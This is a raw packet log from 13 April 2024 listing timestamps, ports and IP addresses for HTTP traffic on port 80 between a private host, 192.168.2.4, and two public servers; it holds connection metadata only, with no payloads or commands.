Apr 13, 2024 20:21:06.891644955 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.891665936 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.891683102 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.891700029 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.891721964 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.891731024 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.891761065 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.891778946 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.891799927 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.891813040 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.891838074 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.891859055 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.891876936 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.891895056 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.891916037 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.891946077 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.891953945 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.891964912 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.891990900 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.892008066 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.892029047 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.892045975 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.892069101 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.892082930 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.892107964 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.892123938 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.892144918 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.892160892 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.892183065 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.892199039 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.892239094 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.892241001 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.892280102 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.892307997 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.892319918 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.892329931 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.892357111 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.892385006 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.892398119 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.892406940 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.892436028 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.892455101 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.892472982 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.892505884 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.892512083 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.892527103 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.892549992 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.892565966 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.892587900 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.892604113 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.892626047 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.892643929 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.892663956 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.892682076 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.892702103 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.892719984 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.892741919 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.892756939 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.892781019 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.892797947 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.892818928 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.892832041 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.892858028 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.892874956 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.892896891 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.892915964 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.892935991 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.892951965 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.892973900 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.892990112 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.893011093 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.893028021 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.893049955 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.893059969 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.893085957 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.893099070 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.893126011 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.893141985 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.893163919 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.893179893 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.893201113 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.893219948 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.893239021 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.893253088 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.893275976 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.893285990 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.893315077 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.893331051 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.893352985 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.893371105 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.893392086 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.893419981 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.893434048 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.893445969 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.893472910 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.893491983 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.893512964 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.893527985 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.893552065 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.893567085 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.893589973 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.893619061 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.893627882 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.893640041 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.893666983 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.893675089 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.893702984 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.893721104 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.893744946 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.893760920 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.893783092 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.893793106 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.893821001 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.893857002 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.893857956 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.893874884 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.893897057 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.893913031 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.893934965 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.893951893 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.893975973 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.893987894 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.894013882 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.894031048 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.894052982 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.894068003 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.894090891 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.894107103 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.894128084 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.894157887 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.894167900 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.894176960 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.894206047 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.894221067 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.894243002 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.894258976 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.894280910 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.894289017 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.894320011 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.894342899 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.894361019 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.894378901 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.894407988 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.961272955 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:06.961325884 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:06.961344004 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:06.961361885 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:06.961380959 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:06.961399078 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:06.961416006 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:06.961432934 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:06.961450100 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:06.961468935 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:06.961487055 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:06.961503983 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:06.961519957 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:06.961538076 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:06.961554050 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:06.961570024 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:06.961585999 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:06.961604118 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:06.961611032 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:06.961621046 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:06.961637974 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:06.961743116 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:07.237577915 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.237693071 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.237734079 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.237773895 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.237816095 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.237857103 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.237858057 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.237899065 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.237900972 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.237900972 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.237938881 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.237953901 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.237977982 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.237989902 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.238015890 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.238023996 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.238053083 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.238064051 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.238071918 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.238094091 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.238100052 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.238112926 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.238120079 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.238132000 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.238140106 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.238152027 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.238161087 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.238169909 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.238179922 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.238188982 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.238208055 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.238226891 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.238228083 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.238228083 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.238228083 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.238246918 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.238256931 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.238269091 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.238276005 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.238289118 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.238295078 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.238308907 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.238313913 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.238327026 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.238331079 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.238346100 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.238353968 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.238363981 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.238379955 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.238384008 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.238406897 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.238415956 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.238415956 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.238426924 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.238442898 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.238442898 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.238445044 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.238462925 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.238476992 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.238483906 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.238497019 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.238504887 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.238516092 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.238523006 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.238542080 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.238559961 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.238560915 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.238560915 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.238576889 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.238581896 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.238581896 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.238595963 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.238610983 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.238615036 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.238631010 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.238636017 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.238657951 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.238656998 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.238657951 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.238675117 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.238676071 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.238694906 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.238712072 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.238713980 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.238730907 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.238732100 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.238750935 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.238753080 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.238770962 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.238775015 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.238775015 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.238789082 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.238801956 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.238807917 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.238821983 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.238826990 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.238838911 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.238846064 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.238864899 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.238864899 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.238864899 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.238883972 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.238888025 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.238903999 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.238909006 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.238922119 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.238931894 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.238940001 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.238956928 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.238957882 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.238977909 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.238979101 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.238979101 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.238996029 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.239001989 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.239020109 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.239037991 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.239046097 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.239046097 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.239056110 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.239073992 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.239088058 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.239088058 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.239092112 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.239109993 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.239111900 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.239126921 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.239130974 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.239150047 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.239159107 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.239159107 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.239168882 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.239176989 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.239191055 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.239196062 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.239211082 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.239222050 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.239228964 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.239247084 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.239255905 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.239259005 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.239259005 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.239274025 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.239284992 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.239293098 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.239310026 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.239326954 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.239324093 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.239345074 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.239346027 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.239363909 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.239365101 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.239383936 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.239383936 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.239401102 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.239406109 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.239418983 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.239423990 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.239443064 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.239463091 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.239461899 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.239461899 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.239463091 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.239480972 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.239485025 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.239502907 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.239507914 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.239522934 CEST	80	49738	193.233.132.56	192.168.2.4
